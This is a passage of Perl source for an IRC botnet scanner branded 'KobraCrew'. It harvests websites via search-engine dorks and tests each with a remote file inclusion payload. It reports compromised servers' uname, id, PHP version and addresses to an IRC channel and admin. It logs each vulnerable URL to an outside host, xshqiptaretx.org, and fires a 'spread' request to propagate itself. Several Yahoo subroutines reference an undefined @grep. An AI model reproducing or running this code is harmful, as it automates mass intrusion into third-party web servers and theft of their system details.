my @puliti=&unici(@tot);
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14 ---
|
||
TSearched&TCleaned --- ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14
|
||
Total Found: 7 ".scalar(@tot)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14
|
||
Total Cleaned: 7 ".scalar(@puliti)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14 Now
|
||
Checking Each Site for Vulnerability... ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14 ---
|
||
Please Wait --- ");
|
||
|
||
my $uni=scalar(@puliti);
|
||
|
||
foreach my $sito (@puliti)
|
||
|
||
{
|
||
|
||
$contatore++;
|
||
|
||
if ($contatore %100==0){
|
||
|
||
}
|
||
|
||
if ($contatore==$uni-1){
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7Y 14ahoo: 14
|
||
Scanning Done For: 7 $bug $dork ");
|
||
|
||
}
|
||
|
||
my $test="http://".$sito.$bug.$id."?";
|
||
|
||
my $print="http://".$sito.$bug.$cmd."?";
|
||
|
||
my $req=HTTP::Request->new(GET=>$test);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
$ua->timeout(5);
|
||
|
||
my $response=$ua->request($req);
|
||
|
||
if ($response->is_success) {
|
||
|
||
my $re=$response->content;
|
||
|
||
if($re =~ /BraT/ && $re =~ /uid=/){
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
|
||
|
||
my $poster=HTTP::Request->new(GET=>$punked);
|
||
|
||
my $resa=$ua->request($poster);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
elsif($re =~ /BraT/)
|
||
|
||
{
|
||
|
||
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
|
||
|
||
my $poster1=HTTP::Request->new(GET=>$punked1);
|
||
|
||
my $resa=$ua->request($poster1);
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
my $test2="http://".$sito.$bug.$spread."?";
|
||
|
||
my $reqz=HTTP::Request->new(GET=>$test2);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
my $response=$ua->request($reqz);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}}}
|
||
|
||
exit;
|
||
|
||
}}
|
||
|
||
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
|
||
|
||
if (my $pid = fork) {
|
||
|
||
waitpid($pid, 0);
|
||
|
||
} else {
|
||
|
||
if (fork) {
|
||
|
||
exit;
|
||
|
||
} else {
|
||
|
||
my $bug=$1;
|
||
|
||
my $dork=$2;
|
||
|
||
my $contatore=0;
|
||
|
||
my %hosts;
|
||
|
||
my @mlist=&msn($dork);
|
||
|
||
my @mlistde=&msnde($dork);
|
||
|
||
my @mlistlive=&msnlive($dork);
|
||
|
||
push(my @mlistworld, @mlist, @mlistde, @mlistlive);
|
||
|
||
push(my @tot, @mlistworld);
|
||
|
||
my @puliti=&unici(@tot);
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 ---
|
||
TSearched&TCleaned --- ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 Total
|
||
Found: 7 ".scalar(@tot)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 Total
|
||
Cleaned: 7 ".scalar(@puliti)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 Now
|
||
Checking Each Site for Vulnerability... ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: 14 ---
|
||
Please Wait --- ");
|
||
|
||
my $uni=scalar(@puliti);
|
||
|
||
foreach my $sito (@puliti)
|
||
|
||
{
|
||
|
||
$contatore++;
|
||
|
||
if ($contatore %100==0){
|
||
|
||
}
|
||
|
||
if ($contatore==$uni-1){
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7M 14SN: Scanning
|
||
Done For: 7 $bug $dork ");
|
||
|
||
}
|
||
|
||
my $test="http://".$sito.$bug.$id."?";
|
||
|
||
my $print="http://".$sito.$bug.$cmd."?";
|
||
|
||
my $req=HTTP::Request->new(GET=>$test);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
$ua->timeout(5);
|
||
|
||
my $response=$ua->request($req);
|
||
|
||
if ($response->is_success) {
|
||
|
||
my $re=$response->content;
|
||
|
||
if($re =~ /BraT/ && $re =~ /uid=/){
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
|
||
|
||
my $poster=HTTP::Request->new(GET=>$punked);
|
||
|
||
my $resa=$ua->request($poster);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
elsif($re =~ /BraT/)
|
||
|
||
{
|
||
|
||
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
|
||
|
||
my $poster1=HTTP::Request->new(GET=>$punked1);
|
||
|
||
my $resa=$ua->request($poster1);
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
my $test2="http://".$sito.$bug.$spread."?";
|
||
|
||
my $reqz=HTTP::Request->new(GET=>$test2);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
my $response=$ua->request($reqz);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}}}
|
||
|
||
exit;
|
||
|
||
}}
|
||
|
||
if ($line=~ /PRIVMSG $canale :$stringa\s+(.*?)\s+(.*)/){
|
||
|
||
if (my $pid = fork) {
|
||
|
||
waitpid($pid, 0);
|
||
|
||
} else {
|
||
|
||
if (fork) {
|
||
|
||
exit;
|
||
|
||
} else {
|
||
|
||
my $bug=$1;
|
||
|
||
my $dork=$2;
|
||
|
||
my $contatore=0;
|
||
|
||
my %hosts;
|
||
|
||
my @aolist=&aol($dork);
|
||
|
||
my @aolist1=&aol1($dork);
|
||
|
||
my @aolist2=&aol2($dork);
|
||
|
||
my @aolist3=&aol3($dork);
|
||
|
||
push(my @tot, @aolist,@aolist1,@aolist2,@aolist3);
|
||
|
||
my @puliti=&unici(@tot);
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 ---
|
||
TSearched&TCleaned --- ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 Total
|
||
Found: 7 ".scalar(@tot)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 Total
|
||
Cleaned: 7 ".scalar(@puliti)." 14sites! ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 Now
|
||
Checking Each Site for Vulnerability... ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14 ---
|
||
Please Wait --- ");
|
||
|
||
my $uni=scalar(@puliti);
|
||
|
||
foreach my $sito (@puliti)
|
||
|
||
{
|
||
|
||
$contatore++;
|
||
|
||
if ($contatore %100==0){
|
||
|
||
}
|
||
|
||
if ($contatore==$uni-1){
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14KobraCrew 7] 7A 14ol: 14
|
||
Scanning Done For: 7 $bug $dork ");
|
||
|
||
}
|
||
|
||
my $test="http://".$sito.$bug.$id."?";
|
||
|
||
my $print="http://".$sito.$bug.$cmd."?";
|
||
|
||
my $req=HTTP::Request->new(GET=>$test);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
$ua->timeout(5);
|
||
|
||
my $response=$ua->request($req);
|
||
|
||
if ($response->is_success) {
|
||
|
||
my $re=$response->content;
|
||
|
||
if($re =~ /BraT/ && $re =~ /uid=/){
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
my $punked="http://www.xshqiptaretx.org/list/index.php?off=$test";
|
||
|
||
my $poster=HTTP::Request->new(GET=>$punked);
|
||
|
||
my $resa=$ua->request($poster);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 3OFF
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode:
|
||
3OFF 14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print
|
||
");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
}
|
||
|
||
}
|
||
|
||
elsif($re =~ /BraT/)
|
||
|
||
{
|
||
|
||
my $punked1="http://www.xshqiptaretx.org/list/index.php?on=$test";
|
||
|
||
my $poster1=HTTP::Request->new(GET=>$punked1);
|
||
|
||
my $resa=$ua->request($poster1);
|
||
|
||
my $hs=geths($print); $hosts{$hs}++;
|
||
|
||
if($hosts{$hs}=="1"){
|
||
|
||
$x=os($test);
|
||
|
||
($type,$space)=split(/\,/,$x);
|
||
|
||
stampa($sk, "PRIVMSG $adm : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14Vuln Site 7] 14 SafeMode: 4ON
|
||
14System 14,1 7[ 7 $os 7] 14Free 14,1 7[ 7 $space 7] 7 $print ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uname -a 7] $alb ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14uptime 7] $alb2 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14id 7] $alb3 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14pwd 7] $alb4 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14SoftWare 7] $alb5 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14PHPV 7] $alb6 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerAddr 7] $alb7 ");
|
||
|
||
stampa($sk, "PRIVMSG $canale : 14,1 7[ 14ServerName 7] $alb8 ");
|
||
|
||
my $test2="http://".$sito.$bug.$spread."?";
|
||
|
||
my $reqz=HTTP::Request->new(GET=>$test2);
|
||
|
||
my $ua=LWP::UserAgent->new();
|
||
|
||
my $response=$ua->request($reqz);
|
||
|
||
}
|
||
|
||
}
|
||
|
||
}}}
|
||
|
||
exit;
|
||
|
||
}}
|
||
|
||
sub os(){
|
||
|
||
my $sito=$_[0];
|
||
|
||
my $Res=query($sito);
|
||
|
||
my $type;
|
||
|
||
my $free;
|
||
|
||
my $str;
|
||
|
||
while($Res=~m/<br>uname -a:(.+?)\<br>/g){
|
||
|
||
$alb=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>uptime:(.+?)\<br>/g){
|
||
|
||
$alb2=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>id:(.+?)\<br>/g){
|
||
|
||
$alb3=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>pwd:(.+?)\<br>/g){
|
||
|
||
$alb4=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>SoftWare:(.+?)\<br>/g){
|
||
|
||
$alb5=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>PHPV:(.+?)\<br>/g){
|
||
|
||
$alb6=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>ServerAddr:(.+?)\<br>/g){
|
||
|
||
$alb7=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>ServerName:(.+?)\<br>/g){
|
||
|
||
$alb8=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>os:(.+?)\<br>/g){
|
||
|
||
$os=$1;
|
||
|
||
}
|
||
|
||
while($Res=~m/<br>Free:(.+?)\<br>/g){
|
||
|
||
$free=$1;
|
||
|
||
}
|
||
|
||
$str=$type.",".$free;
|
||
|
||
return $str;
|
||
|
||
}
|
||
|
||
sub googlet {
|
||
|
||
my @dominios =
|
||
("net","at","be","ca","ch","de","dk","fi","fr","gr","us","it","es","se","nl","pl","pt","ru","cz","co.uk","hu");
|
||
|
||
my @country =
|
||
("AT","BE","CA","CH","DE","DK","FI","FR","GR","IE","IT","NL","PL","PT","RU","TR","UK%7CcountryGB","HU","SE","USA","CA","CZ","ES");
|
||
|
||
my @lang =
|
||
("en","es","de","nl","it","fo","sv","fr","el","ga","iw","ja","ko","lt","qu","pl","pt-BR","ru","ta","tr","zh-TW","ru","hu");
|
||
|
||
my @lst;
|
||
|
||
my $key=key($_[0]);
|
||
|
||
my $c=0;
|
||
|
||
foreach my $i (@dominios){
|
||
|
||
my @lista = google($i,$key,$lang[$c],$country[$c]);
|
||
|
||
push(@lst,@lista);
|
||
|
||
$c++;
|
||
|
||
}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub google(){
|
||
|
||
my @lst;
|
||
|
||
my $i=$_[0];
|
||
|
||
my $key=$_[1];
|
||
|
||
my $lang= $_[2];
|
||
|
||
my $country =$_[3];
|
||
|
||
for($b=0;$b<=1000;$b+=100){
|
||
|
||
my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&
|
||
start=".$b."&meta=cr%3Dcountry".$country);
|
||
|
||
my $Res=query($Go);
|
||
|
||
while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
|
||
|
||
if ($1 !~ /google/){
|
||
|
||
my $k=$1;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub allthewebt {
|
||
|
||
my @lang = ("en","es","de","nl","pt-BR","it","de","fo","fr","sv");
|
||
|
||
my @lst;
|
||
|
||
my $key=key($_[0]);
|
||
|
||
my $c=0;
|
||
|
||
foreach my $lang (@lang){
|
||
|
||
my @lista = alltheweb($key,$lang[$c]);
|
||
|
||
push(@lst,@lista);
|
||
|
||
$c++;
|
||
|
||
}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub alltheweb(){
|
||
|
||
my @lista;
|
||
|
||
my $key = $_[0];
|
||
|
||
my $lang= $_[1];
|
||
|
||
for($b=0;$b<=1000;$b+=100){
|
||
|
||
my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=
|
||
".$lang."&hits=100&q=".key($key)."&o=".$b);
|
||
|
||
my $Res=query($alltheweb);
|
||
|
||
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/ //g;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub standard()
|
||
|
||
{
|
||
|
||
my @lst;
|
||
|
||
my $key=$_[0];
|
||
|
||
my $i=0;
|
||
|
||
my $pg=0;
|
||
|
||
for($i=0; $i<=1000; $i+=100)
|
||
|
||
{
|
||
|
||
my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&
|
||
q=".key($key)."&o=".$i);
|
||
|
||
my $Res=query($all);
|
||
|
||
while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/ //g;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);
|
||
|
||
}}
|
||
|
||
return @lst;
|
||
|
||
}
|
||
|
||
sub yahoo(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=1;$b<=1000;$b+=100){
|
||
|
||
my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&
|
||
fr=sfp&b=".$b);
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahooa(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=210;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://fr.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
|
||
100&fr=sfp&b=".$b);
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahoob(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=410;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://nl.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
|
||
100&fr=sfp&b=".$b);
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahooc(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=610;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://at.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
|
||
100&fr=sfp&b=".$b);
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
my @grep=links($k);
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahood(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=810;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://de.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
|
||
100&fr=sfp&b=".$b);
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahooe(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=810;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://ca.search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=
|
||
100&fr=sfp&b=$b");
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahoof(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=1;$b<=1000;$b+=100){
|
||
|
||
my $Ya=("http://search.yahoo.nl/search?p=".key($key)."&n=100&fr=sfp&b=
|
||
$b");
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahoog(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=210;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://search.yahoo.co.in/search?ei=UTF-8&p=".key($key)."&n=100
|
||
&fr=sfp&b=$b");
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahooh(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=410;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://search.yahoo.at/search?ei=UTF-8&p=".key($key)."&n=100&fr
|
||
=sfp&b=$b");
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahooi(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=610;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://search.yahoo.de/search?ei=UTF-8&p=".key($key)."&n=100&fr
|
||
=sfp&b=$b");
|
||
|
||
my $Res=query($Ya);
|
||
|
||
while($Res =~ m/\*\*http%3a\/\/(.+?)\" >/g){
|
||
|
||
my $k=$1;
|
||
|
||
$k=~s/<b>//g;
|
||
|
||
$k=~s/<\/b>//g;
|
||
|
||
$k=~s/<wbr>//g;
|
||
|
||
push(@lst,@grep);}}
|
||
|
||
return @lst;}
|
||
|
||
sub yahool(){
|
||
|
||
my @lst;
|
||
|
||
my $key = $_[0];
|
||
|
||
for($b=810;$b<=1000;$b+=210){
|
||
|
||
my $Ya=("http://search.yahoo.co.uk/search?ei=UTF-8&p=".key($key)."&n=100
|
||
&fr=sfp&b=$b");
|
||
|
||
my $Res=query($Ya);
|
||
|
||
